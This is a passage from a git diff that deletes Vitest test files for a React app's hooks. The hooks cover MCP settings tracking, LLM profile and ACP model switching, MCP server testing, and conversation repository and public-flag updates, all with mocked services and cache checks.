}) => - React.createElement(QueryClientProvider, { client: queryClient }, children); -}; - -describe("useSaveSettings - MCP tracking", () => { - beforeEach(() => { - vi.clearAllMocks(); - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - // Default: no current mcp_config so any incoming config is treated as new. - useSettingsMock.mockReturnValue({ data: {} }); - }); - - it("calls trackMcpConfigUpdated with server counts when mcp_config changes", async () => { - const { result } = renderHook(() => useSaveSettings(), { - wrapper: createWrapper(), - }); - - await result.current.mutateAsync({ - mcp_config: { - sse_servers: [{ url: "http://sse1" }, { url: "http://sse2" }], - stdio_servers: [{ name: "stdio1", command: "cmd", args: [] }], - shttp_servers: [], - }, - }); - - await waitFor(() => { - expect(trackMcpConfigUpdatedMock).toHaveBeenCalledWith({ - sseServersCount: 2, - stdioServersCount: 1, - }); - }); - }); - - it("does not call trackMcpConfigUpdated when mcp_config is absent in the update", async () => { - const { result } = renderHook(() => useSaveSettings(), { - wrapper: createWrapper(), - }); - - await result.current.mutateAsync({ user_consents_to_analytics: true }); - - expect(trackMcpConfigUpdatedMock).not.toHaveBeenCalled(); - }); - - it("does not call trackMcpConfigUpdated when mcp_config reference is unchanged", async () => { - const sharedConfig = { - sse_servers: [], - stdio_servers: [], - shttp_servers: [], - }; - useSettingsMock.mockReturnValue({ - data: { mcp_config: sharedConfig }, - }); - - const { result } = renderHook(() => useSaveSettings(), { - wrapper: createWrapper(), - }); - - // Passing the same object reference — should not trigger tracking. - await result.current.mutateAsync({ mcp_config: sharedConfig }); - - expect(trackMcpConfigUpdatedMock).not.toHaveBeenCalled(); - }); - - it("counts zero servers correctly when server arrays are empty", async () => { - const { result } = renderHook(() => useSaveSettings(), { - wrapper: createWrapper(), - }); - - await result.current.mutateAsync({ - mcp_config: { sse_servers: [], stdio_servers: [], shttp_servers: [] }, - }); - - await waitFor(() => { - expect(trackMcpConfigUpdatedMock).toHaveBeenCalledWith({ - sseServersCount: 0, - stdioServersCount: 0, - }); - }); - }); -}); diff --git a/__tests__/hooks/mutation/use-switch-acp-model.test.tsx b/__tests__/hooks/mutation/use-switch-acp-model.test.tsx deleted file mode 100644 index f6b465ad7..000000000 --- a/__tests__/hooks/mutation/use-switch-acp-model.test.tsx +++ /dev/null @@ -1,122 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, expect, it, vi, beforeEach } from "vitest"; -import { useSwitchAcpModel } from "#/hooks/mutation/use-switch-acp-model"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { SETTINGS_QUERY_KEYS } from "#/hooks/query/query-keys"; - -vi.mock( - "#/api/conversation-service/agent-server-conversation-service.api", - () => ({ - default: { - switchAcpModel: vi.fn(), - }, - }), -); - -vi.mock("#/api/settings-service/settings-service.api", () => ({ - default: { - saveSettings: vi.fn(), - invalidateCache: vi.fn(), - }, -})); - -const renderSwitchHook = () => { - const queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - const invalidateQueriesSpy = vi.spyOn(queryClient, "invalidateQueries"); - const { result } = renderHook(() => useSwitchAcpModel(), { - wrapper: ({ children }) => ( - {children} - ), - }); - return { result, invalidateQueriesSpy }; -}; - -describe("useSwitchAcpModel", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - it("live-switches the ACP model for an active conversation and invalidates conversation queries", async () => { - vi.mocked(AgentServerConversationService.switchAcpModel).mockResolvedValue( - undefined, - ); - - const { result, invalidateQueriesSpy } = renderSwitchHook(); - - result.current.mutate({ - conversationId: "conv-1", - model: "claude-sonnet-4-6", - }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - expect(AgentServerConversationService.switchAcpModel).toHaveBeenCalledWith( - "conv-1", - "claude-sonnet-4-6", - ); - // Does NOT write to settings on the per-conversation path. - expect(SettingsService.saveSettings).not.toHaveBeenCalled(); - expect(SettingsService.invalidateCache).not.toHaveBeenCalled(); - // Refreshes the conversation caches so the model chip updates. - expect(invalidateQueriesSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversation", "conv-1"], - }); - expect(invalidateQueriesSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversations"], - }); - }); - - it("persists the model as the agent-settings default on the home page (conversationId === null)", async () => { - vi.mocked(SettingsService.saveSettings).mockResolvedValue(true); - - const { result, invalidateQueriesSpy } = renderSwitchHook(); - - result.current.mutate({ conversationId: null, model: "gemini-2.5-pro" }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - // The home-page default is written via a scalar acp_model diff (deep-merged - // into agent_settings so the provider + command are preserved). - expect(SettingsService.saveSettings).toHaveBeenCalledWith({ - agent_settings_diff: { acp_model: "gemini-2.5-pro" }, - }); - expect( - AgentServerConversationService.switchAcpModel, - ).not.toHaveBeenCalled(); - // Clears the stale settings cache + refetches so the next conversation and - // the home chip read the new default. - expect(SettingsService.invalidateCache).toHaveBeenCalled(); - expect(invalidateQueriesSpy).toHaveBeenCalledWith({ - queryKey: SETTINGS_QUERY_KEYS.personal(), - }); - }); - - it("does not invalidate caches when the live switch fails", async () => { - vi.mocked(AgentServerConversationService.switchAcpModel).mockRejectedValue( - new Error("boom"), - ); - - const { result, invalidateQueriesSpy } = renderSwitchHook(); - - result.current.mutate({ conversationId: "conv-1", model: "x" }); - - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - - expect(invalidateQueriesSpy).not.toHaveBeenCalledWith({ - queryKey: ["user", "conversation", "conv-1"], - }); - }); -}); diff --git a/__tests__/hooks/mutation/use-switch-llm-profile-and-log.test.tsx b/__tests__/hooks/mutation/use-switch-llm-profile-and-log.test.tsx deleted file mode 100644 index b89e56b0a..000000000 --- a/__tests__/hooks/mutation/use-switch-llm-profile-and-log.test.tsx +++ /dev/null @@ -1,39 +0,0 @@ -import { renderHook } from "@testing-library/react"; -import { describe, expect, it, vi, beforeEach } from "vitest"; - -// The wrapper is a thin positional adapter over the base mutation; the inline -// message, metadata persist, and error reporting all live in the mutation -// itself (see use-switch-llm-profile.test.tsx) so they survive the switcher -// menu unmounting on select. -const switchMutateMock = vi.fn(); -vi.mock("#/hooks/mutation/use-switch-llm-profile", () => ({ - useSwitchLlmProfile: () => ({ mutate: switchMutateMock, isPending: false }), -})); - -import { useSwitchLlmProfileAndLog } from "#/hooks/mutation/use-switch-llm-profile-and-log"; - -describe("useSwitchLlmProfileAndLog", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - it("maps positional args to the base mutation for the per-conversation path", () => { - const { result } = renderHook(() => useSwitchLlmProfileAndLog()); - result.current.switchAndLog("conv-1", "claude-sonnet-4.6"); - - expect(switchMutateMock).toHaveBeenCalledWith({ - conversationId: "conv-1", - profileName: "claude-sonnet-4.6", - }); - }); - - it("passes a null conversationId through for the home-page activate path", () => { - const { result } = renderHook(() => useSwitchLlmProfileAndLog()); - result.current.switchAndLog(null, "claude-sonnet-4.6"); - - expect(switchMutateMock).toHaveBeenCalledWith({ - conversationId: null, - profileName: "claude-sonnet-4.6", - }); - }); -}); diff --git a/__tests__/hooks/mutation/use-switch-llm-profile.test.tsx b/__tests__/hooks/mutation/use-switch-llm-profile.test.tsx deleted file mode 100644 index fd47773fd..000000000 --- a/__tests__/hooks/mutation/use-switch-llm-profile.test.tsx +++ /dev/null @@ -1,284 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { AxiosError, AxiosHeaders } from "axios"; -import { describe, expect, it, vi, beforeEach } from "vitest"; -import { useSwitchLlmProfile } from "#/hooks/mutation/use-switch-llm-profile"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { - LLM_PROFILES_QUERY_KEYS, - SETTINGS_QUERY_KEYS, -} from "#/hooks/query/query-keys"; -import { recordModelSwitchMessage } from "#/hooks/chat/record-model-switch-message"; -import { - getStoredConversationMetadata, - setStoredConversationMetadata, -} from "#/api/conversation-metadata-store"; -import { displayErrorToast } from "#/utils/custom-toast-handlers"; - -vi.mock("#/utils/custom-toast-handlers"); - -vi.mock( - "#/api/conversation-service/agent-server-conversation-service.api", - () => ({ - default: { - switchProfile: vi.fn(), - }, - }), -); - -vi.mock("#/hooks/chat/record-model-switch-message", () => ({ - recordModelSwitchMessage: vi.fn(), -})); - -vi.mock("#/hooks/chat/model-command-event-anchor", () => ({ - getLastRenderableEventId: () => "evt-9", -})); - -const renderSwitchHook = () => { - const queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - const invalidateQueriesSpy = vi.spyOn(queryClient, "invalidateQueries"); - const { result } = renderHook(() => useSwitchLlmProfile(), { - wrapper: ({ children }) => ( - {children} - ), - }); - return { result, invalidateQueriesSpy }; -}; - -describe("useSwitchLlmProfile", () => { - beforeEach(() => { - vi.clearAllMocks(); - window.localStorage.clear(); - SettingsService.invalidateCache(); - }); - - it("invalidates the settings cache on the home-page activate path (conversationId === null)", async () => { - vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue( - undefined as never, - ); - const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache"); - - const { result, invalidateQueriesSpy } = renderSwitchHook(); - - result.current.mutate({ conversationId: null, profileName: "my-profile" }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - expect(AgentServerConversationService.switchProfile).toHaveBeenCalledWith( - null, - "my-profile", - ); - // The stale settings cache must be cleared so conversation-start uses the - // newly activated profile's LLM (the core of bug #640). - expect(invalidateCacheSpy).toHaveBeenCalled(); - expect(invalidateQueriesSpy).toHaveBeenCalledWith({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - expect(invalidateQueriesSpy).toHaveBeenCalledWith({ - queryKey: SETTINGS_QUERY_KEYS.personal(), - }); - - invalidateCacheSpy.mockRestore(); - }); - - it("does not touch the settings cache for the per-conversation switch path", async () => { - vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue( - undefined as never, - ); - const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache"); - - const { result, invalidateQueriesSpy } = renderSwitchHook(); - - result.current.mutate({ - conversationId: "conv-1", - profileName: "my-profile", - }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - expect(invalidateCacheSpy).not.toHaveBeenCalled(); - expect(invalidateQueriesSpy).toHaveBeenCalledWith({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - expect(invalidateQueriesSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversation", "conv-1"], - }); - expect(invalidateQueriesSpy).not.toHaveBeenCalledWith({ - queryKey: SETTINGS_QUERY_KEYS.personal(), - }); - - invalidateCacheSpy.mockRestore(); - }); - - it("does not invalidate the settings cache when the switch fails", async () => { - vi.mocked(AgentServerConversationService.switchProfile).mockRejectedValue( - new Error("boom"), - ); - const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache"); - - const { result } = renderSwitchHook(); - - result.current.mutate({ conversationId: null, profileName: "my-profile" }); - - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - - expect(invalidateCacheSpy).not.toHaveBeenCalled(); - - invalidateCacheSpy.mockRestore(); - }); - - // Errors surface via a tailored onError (not the global mutation toast) so a - // failed switch keeps the specific "Switched to {name} failed" message - // (#1571 review). - it("shows the tailored switch-failed message when the error carries no server detail", async () => { - // An empty-message Error extracts to "" (see retrieveAxiosErrorMessage), - // so the tailored fallback is what actually renders. - vi.mocked(AgentServerConversationService.switchProfile).mockRejectedValue( - new Error(), - ); - - const { result } = renderSwitchHook(); - result.current.mutate({ conversationId: null, profileName: "Smart" }); - - await waitFor(() => expect(result.current.isError).toBe(true)); - // The global i18n mock returns the raw key (see vitest.setup.ts). - expect(displayErrorToast).toHaveBeenCalledWith("MODEL$SWITCH_FAILED"); - }); - - it("prefers the server-provided error detail over the tailored fallback", async () => { - const axiosError = new AxiosError( - "Request failed", - "500", - undefined, - undefined, - { - status: 404, - statusText: "Not Found", - headers: new AxiosHeaders(), - config: { headers: new AxiosHeaders() }, - data: { message: "LLM profile 'gpt-5' not found" }, - }, - ); - vi.mocked(AgentServerConversationService.switchProfile).mockRejectedValue( - axiosError, - ); - - const { result } = renderSwitchHook(); - result.current.mutate({ conversationId: null, profileName: "Smart" }); - - await waitFor(() => expect(result.current.isError).toBe(true)); - expect(displayErrorToast).toHaveBeenCalledWith( - "LLM profile 'gpt-5' not found", - ); - }); - - // The following behaviors run in the mutation-level onSuccess (not - // mutate-scoped callbacks) so they survive the switcher menu unmounting on - // select (#1571). - it("records the inline switch message anchored to the last renderable event", async () => { - vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue( - undefined as never, - ); - - const { result } = renderSwitchHook(); - result.current.mutate({ conversationId: "conv-1", profileName: "Smart" }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect(recordModelSwitchMessage).toHaveBeenCalledWith( - "conv-1", - "Smart", - "evt-9", - ); - }); - - it("stamps the switched-to profile onto the conversation metadata, preserving repo/workspace (#1082)", async () => { - vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue( - undefined as never, - ); - // Repo metadata persisted at creation must survive the merge. - setStoredConversationMetadata("conv-1", { - selected_repository: "octocat/hello-world", - selected_branch: "main", - git_provider: "github", - }); - - const { result } = renderSwitchHook(); - result.current.mutate({ - conversationId: "conv-1", - profileName: "claude-sonnet-4.6", - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect(getStoredConversationMetadata("conv-1")).toEqual({ - selected_repository: "octocat/hello-world", - selected_branch: "main", - git_provider: "github", - selected_workspace: null, - active_profile: "claude-sonnet-4.6", - plugins: null, - }); - }); - - it("preserves the conversation's attached plugins across a profile switch", async () => { - vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue( - undefined as never, - ); - setStoredConversationMetadata("conv-1", { - selected_repository: null, - selected_branch: null, - git_provider: null, - plugins: [ - { source: "github:acme/city-weather", ref: null, repo_path: null }, - ], - }); - - const { result } = renderSwitchHook(); - result.current.mutate({ - conversationId: "conv-1", - profileName: "claude-sonnet-4.6", - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect(getStoredConversationMetadata("conv-1")?.plugins).toEqual([ - { source: "github:acme/city-weather", ref: null, repo_path: null }, - ]); - }); - - it("does not stamp metadata for the home-page activate path (conversationId === null)", async () => { - vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue( - undefined as never, - ); - - const { result } = renderSwitchHook(); - result.current.mutate({ conversationId: null, profileName: "Smart" }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect(getStoredConversationMetadata("conv-1")).toBeNull(); - expect(recordModelSwitchMessage).not.toHaveBeenCalled(); - }); - - it("does not stamp metadata when the switch fails", async () => { - vi.mocked(AgentServerConversationService.switchProfile).mockRejectedValue( - new Error("boom"), - ); - - const { result } = renderSwitchHook(); - result.current.mutate({ conversationId: "conv-1", profileName: "Smart" }); - - await waitFor(() => expect(result.current.isError).toBe(true)); - expect(getStoredConversationMetadata("conv-1")).toBeNull(); - expect(recordModelSwitchMessage).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/mutation/use-test-mcp-server.test.ts b/__tests__/hooks/mutation/use-test-mcp-server.test.ts deleted file mode 100644 index 8e51c8486..000000000 --- a/__tests__/hooks/mutation/use-test-mcp-server.test.ts +++ /dev/null @@ -1,145 +0,0 @@ -import { describe, expect, it, vi, afterEach, beforeEach } from "vitest"; -import React from "react"; -import { renderHook, waitFor, act } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { useTestMcpServer } from "#/hooks/mutation/use-test-mcp-server"; -import McpService from "#/api/mcp-service/mcp-service.api"; -import type { MCPServerConfig } from "#/types/mcp-server"; - -vi.mock("#/api/mcp-service/mcp-service.api", () => ({ - default: { testServer: vi.fn() }, -})); - -const SHTTP_SERVER: MCPServerConfig = { - id: "shttp-1", - type: "shttp", - url: "https://mcp.example.com/mcp", - auth: { strategy: "bearer", value: "secret-key" }, -}; - -describe("useTestMcpServer", () => { - let queryClient: QueryClient; - let wrapper: ({ - children, - }: { - children: React.ReactNode; - }) => React.ReactElement; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - wrapper = ({ children }: { children: React.ReactNode }) => - React.createElement( - QueryClientProvider, - { client: queryClient }, - children, - ); - }); - - afterEach(() => { - queryClient.clear(); - vi.clearAllMocks(); - }); - - it("returns ok=true and tool list on success", async () => { - vi.mocked(McpService.testServer).mockResolvedValue({ - ok: true, - tools: ["search", "fetch"], - }); - - const { result } = renderHook(() => useTestMcpServer(), { wrapper }); - - act(() => { - result.current.mutate(SHTTP_SERVER); - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(McpService.testServer).toHaveBeenCalledWith(SHTTP_SERVER); - expect(result.current.data).toEqual({ ok: true, tools: ["search", "fetch"] }); - }); - - it("returns ok=false with error_kind=timeout on timeout failure", async () => { - vi.mocked(McpService.testServer).mockResolvedValue({ - ok: false, - error: "timed out", - error_kind: "timeout", - }); - - const { result } = renderHook(() => useTestMcpServer(), { wrapper }); - - act(() => { - result.current.mutate(SHTTP_SERVER); - }); - - // The mutation resolves (HTTP 200) even though ok=false — check isSuccess. - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(result.current.data).toEqual({ - ok: false, - error: "timed out", - error_kind: "timeout", - }); - }); - - it("returns ok=false with error_kind=connection on connection failure", async () => { - vi.mocked(McpService.testServer).mockResolvedValue({ - ok: false, - error: "ECONNREFUSED", - error_kind: "connection", - }); - - const { result } = renderHook(() => useTestMcpServer(), { wrapper }); - - act(() => { - result.current.mutate(SHTTP_SERVER); - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(result.current.data).toMatchObject({ - ok: false, - error_kind: "connection", - }); - }); - - it("returns ok=false with error_kind=unknown on generic failure", async () => { - vi.mocked(McpService.testServer).mockResolvedValue({ - ok: false, - error: "unexpected error", - error_kind: "unknown", - }); - - const { result } = renderHook(() => useTestMcpServer(), { wrapper }); - - act(() => { - result.current.mutate(SHTTP_SERVER); - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(result.current.data).toMatchObject({ - ok: false, - error_kind: "unknown", - }); - }); - - it("transitions to error state when the network call itself throws", async () => { - vi.mocked(McpService.testServer).mockRejectedValue( - new Error("Network error"), - ); - - const { result } = renderHook(() => useTestMcpServer(), { wrapper }); - - await act(async () => { - result.current.mutate(SHTTP_SERVER); - }); - - await waitFor(() => expect(result.current.isError).toBe(true)); - expect(result.current.data).toBeUndefined(); - }); -}); diff --git a/__tests__/hooks/mutation/use-update-conversation-public-flag.test.tsx b/__tests__/hooks/mutation/use-update-conversation-public-flag.test.tsx deleted file mode 100644 index d13b5c831..000000000 --- a/__tests__/hooks/mutation/use-update-conversation-public-flag.test.tsx +++ /dev/null @@ -1,75 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { renderHook, waitFor } from "@testing-library/react"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { useUpdateConversationPublicFlag } from "#/hooks/mutation/use-update-conversation-public-flag"; - -vi.mock("#/api/conversation-service/agent-server-conversation-service.api", () => ({ - default: { - updateConversationPublicFlag: vi.fn(), - }, -})); - -describe("useUpdateConversationPublicFlag", () => { - let queryClient: QueryClient; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - vi.clearAllMocks(); - }); - - it("optimistically updates all conversation cache entries before the request settles", async () => { - const conversationId = "conv-1"; - const queryKey = [ - "user", - "conversation", - conversationId, - "cloud-backend", - "org-1", - ] as const; - - queryClient.setQueryData(queryKey, { - conversation_id: conversationId, - public: false, - }); - - vi.mocked( - AgentServerConversationService.updateConversationPublicFlag, - ).mockImplementation( - () => - new Promise((resolve) => { - setTimeout( - () => - resolve({ - conversation_id: conversationId, - public: true, - } as unknown as AppConversation), - 50, - ); - }), - ); - - const wrapper = ({ children }: { children: React.ReactNode }) => ( - {children} - ); - - const { result } = renderHook(() => useUpdateConversationPublicFlag(), { - wrapper, - }); - - result.current.mutate({ conversationId, isPublic: true }); - - await waitFor(() => { - expect(queryClient.getQueryData(queryKey)).toMatchObject({ - public: true, - }); - }); - }); -}); diff --git a/__tests__/hooks/mutation/use-update-conversation-repository.test.tsx b/__tests__/hooks/mutation/use-update-conversation-repository.test.tsx deleted file mode 100644 index 074b55e85..000000000 --- a/__tests__/hooks/mutation/use-update-conversation-repository.test.tsx +++ /dev/null @@ -1,440 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { useUpdateConversationRepository } from "#/hooks/mutation/use-update-conversation-repository"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; - -// Mock the AgentServerConversationService -vi.mock( - "#/api/conversation-service/agent-server-conversation-service.api", - () => ({ - default: { - updateConversationRepository: vi.fn(), - }, - }), -); - -// Mock react-i18next -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -// Mock toast handlers -vi.mock("#/utils/custom-toast-handlers", () => ({ - displaySuccessToast: vi.fn(), - displayErrorToast: vi.fn(), -})); - -const createWrapper = (queryClient?: QueryClient) => { - const client = - queryClient ?? - new QueryClient({ - defaultOptions: { - queries: { - retry: false, - }, - mutations: { - retry: false, - }, - }, - }); - - const Wrapper = ({ children }: { children: React.ReactNode }) => ( - {children} - ); - - return { Wrapper, client }; -}; - -describe("useUpdateConversationRepository", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - it("should call updateConversationRepository with correct parameters", async () => { - const mockResponse = { - id: "test-conversation-id", - selected_repository: "owner/repo", - selected_branch: "main", - git_provider: "github", - }; - - vi.mocked( - AgentServerConversationService.updateConversationRepository, - ).mockResolvedValue(mockResponse as any); - - const { Wrapper } = createWrapper(); - const { result } = renderHook(() => useUpdateConversationRepository(), { - wrapper: Wrapper, - }); - - result.current.mutate({ - conversationId: "test-conversation-id", - repository: "owner/repo", - branch: "main", - gitProvider: "github", - }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - expect( - AgentServerConversationService.updateConversationRepository, - ).toHaveBeenCalledWith( - "test-conversation-id", - "owner/repo", - "main", - "github", - ); - }); - - it("should handle repository removal (null values)", async () => { - const mockResponse = { - id: "test-conversation-id", - selected_repository: null, - selected_branch: null, - git_provider: null, - }; - - vi.mocked( - AgentServerConversationService.updateConversationRepository, - ).mockResolvedValue(mockResponse as any); - - const { Wrapper } = createWrapper(); - const { result } = renderHook(() => useUpdateConversationRepository(), { - wrapper: Wrapper, - }); - - result.current.mutate({ - conversationId: "test-conversation-id", - repository: null, - branch: null, - gitProvider: null, - }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - expect( - AgentServerConversationService.updateConversationRepository, - ).toHaveBeenCalledWith("test-conversation-id", null, null, null); - }); - - it("should handle errors gracefully", async () => { - vi.mocked( - AgentServerConversationService.updateConversationRepository, - ).mockRejectedValue(new Error("Failed to update repository")); - - const { Wrapper } = createWrapper(); - const { result } = renderHook(() => useUpdateConversationRepository(), { - wrapper: Wrapper, - }); - - result.current.mutate({ - conversationId: "test-conversation-id", - repository: "owner/repo", - branch: "main", - gitProvider: "github", - }); - - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - }); - - it("optimistically updates the cached conversation under the prefix-extended key used by useUserConversation", async () => { - const conversationId = "test-conversation-id"; - // Mirror the key shape from `useUserConversation`: - // ["user", "conversation", cid, backendId, orgId] - const cacheKey = [ - "user", - "conversation", - conversationId, - "default-local", - null, - ] as const; - const baseConversation = { - id: conversationId, - selected_repository: null, - selected_branch: null, - git_provider: null, - } as unknown as AppConversation; - - vi.mocked( - AgentServerConversationService.updateConversationRepository, - ).mockImplementation(async () => { - // Block long enough to assert the optimistic update fires before - // the mutation resolves. - await new Promise((resolve) => setTimeout(resolve, 50)); - return { - ...baseConversation, - selected_repository: "owner/repo", - selected_branch: "main", - git_provider: "github", - } as unknown as AppConversation; - }); - - const { Wrapper, client } = createWrapper(); - client.setQueryData(cacheKey, baseConversation); - - const { result } = renderHook(() => useUpdateConversationRepository(), { - wrapper: Wrapper, - }); - - result.current.mutate({ - conversationId, - repository: "owner/repo", - branch: "main", - gitProvider: "github", - }); - - await waitFor(() => { - const cached = client.getQueryData(cacheKey); - expect(cached?.selected_repository).toBe("owner/repo"); - expect(cached?.selected_branch).toBe("main"); - expect(cached?.git_provider).toBe("github"); - }); - }); - - it("optimistically updates every prefix-matching cache entry (multiple backends/orgs)", async () => { - const conversationId = "test-conversation-id"; - const cacheKey1 = [ - "user", - "conversation", - conversationId, - "backend-1", - "org-1", - ] as const; - const cacheKey2 = [ - "user", - "conversation", - conversationId, - "backend-2", - "org-2", - ] as const; - const baseConversation = { - id: conversationId, - selected_repository: null, - selected_branch: null, - git_provider: null, - } as unknown as AppConversation; - - vi.mocked( - AgentServerConversationService.updateConversationRepository, - ).mockImplementation(async () => { - await new Promise((resolve) => setTimeout(resolve, 50)); - return { - ...baseConversation, - selected_repository: "owner/repo", - selected_branch: "main", - git_provider: "github", - } as unknown as AppConversation; - }); - - const { Wrapper, client } = createWrapper(); - client.setQueryData(cacheKey1, baseConversation); - client.setQueryData(cacheKey2, baseConversation); - - const { result } = renderHook(() => useUpdateConversationRepository(), { - wrapper: Wrapper, - }); - - result.current.mutate({ - conversationId, - repository: "owner/repo", - branch: "main", - gitProvider: "github", - }); - - await waitFor(() => { - const cached1 = client.getQueryData(cacheKey1); - const cached2 = client.getQueryData(cacheKey2); - expect(cached1?.selected_repository).toBe("owner/repo"); - expect(cached1?.selected_branch).toBe("main"); - expect(cached1?.git_provider).toBe("github"); - expect(cached2?.selected_repository).toBe("owner/repo"); - expect(cached2?.selected_branch).toBe("main"); - expect(cached2?.git_provider).toBe("github"); - }); - }); - - it("rolls back every prefix-matching cache entry when the mutation rejects", async () => { - const conversationId = "test-conversation-id"; - const cacheKey1 = [ - "user", - "conversation", - conversationId, - "backend-1", - "org-1", - ] as const; - const cacheKey2 = [ - "user", - "conversation", - conversationId, - "backend-2", - "org-2", - ] as const; - const baseConversation = { - id: conversationId, - selected_repository: null, - selected_branch: null, - git_provider: null, - } as unknown as AppConversation; - - vi.mocked( - AgentServerConversationService.updateConversationRepository, - ).mockRejectedValue(new Error("nope")); - - const { Wrapper, client } = createWrapper(); - client.setQueryData(cacheKey1, baseConversation); - client.setQueryData(cacheKey2, baseConversation); - - const { result } = renderHook(() => useUpdateConversationRepository(), { - wrapper: Wrapper, - }); - - result.current.mutate({ - conversationId, - repository: "owner/repo", - branch: "main", - gitProvider: "github", - }); - - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - - const cached1 = client.getQueryData(cacheKey1); - const cached2 = client.getQueryData(cacheKey2); - expect(cached1?.selected_repository).toBeNull(); - expect(cached1?.selected_branch).toBeNull(); - expect(cached1?.git_provider).toBeNull(); - expect(cached2?.selected_repository).toBeNull(); - expect(cached2?.selected_branch).toBeNull(); - expect(cached2?.git_provider).toBeNull(); - }); - - it("invalidates user-conversation, user-conversations, and local-git-info on settle", async () => { - const conversationId = "test-conversation-id"; - - vi.mocked( - AgentServerConversationService.updateConversationRepository, - ).mockResolvedValue({ - id: conversationId, - selected_repository: "owner/repo", - selected_branch: "main", - git_provider: "github", - } as unknown as AppConversation); - - const { Wrapper, client } = createWrapper(); - const invalidateSpy = vi.spyOn(client, "invalidateQueries"); - - const { result } = renderHook(() => useUpdateConversationRepository(), { - wrapper: Wrapper, - }); - - await result.current.mutateAsync({ - conversationId, - repository: "owner/repo", - branch: "main", - gitProvider: "github", - }); - - await waitFor(() => { - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversation", conversationId], - }); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversations"], - }); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["local-git-info", conversationId], - }); - }); - }); - - it("still invalidates all three query keys on settle when the mutation rejects", async () => { - const conversationId = "test-conversation-id"; - - vi.mocked( - AgentServerConversationService.updateConversationRepository, - ).mockRejectedValue(new Error("boom")); - - const { Wrapper, client } = createWrapper(); - const invalidateSpy = vi.spyOn(client, "invalidateQueries"); - - const { result } = renderHook(() => useUpdateConversationRepository(), { - wrapper: Wrapper, - }); - - await expect( - result.current.mutateAsync({ - conversationId, - repository: "owner/repo", - branch: "main", - gitProvider: "github", - }), - ).rejects.toThrow("boom"); - - await waitFor(() => { - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversation", conversationId], - }); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversations"], - }); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["local-git-info", conversationId], - }); - }); - }); - - it("rolls back the prefix-keyed cache entry when the mutation rejects", async () => { - const conversationId = "test-conversation-id"; - const cacheKey = [ - "user", - "conversation", - conversationId, - "default-local", - null, - ] as const; - const baseConversation = { - id: conversationId, - selected_repository: null, - selected_branch: null, - git_provider: null, - } as unknown as 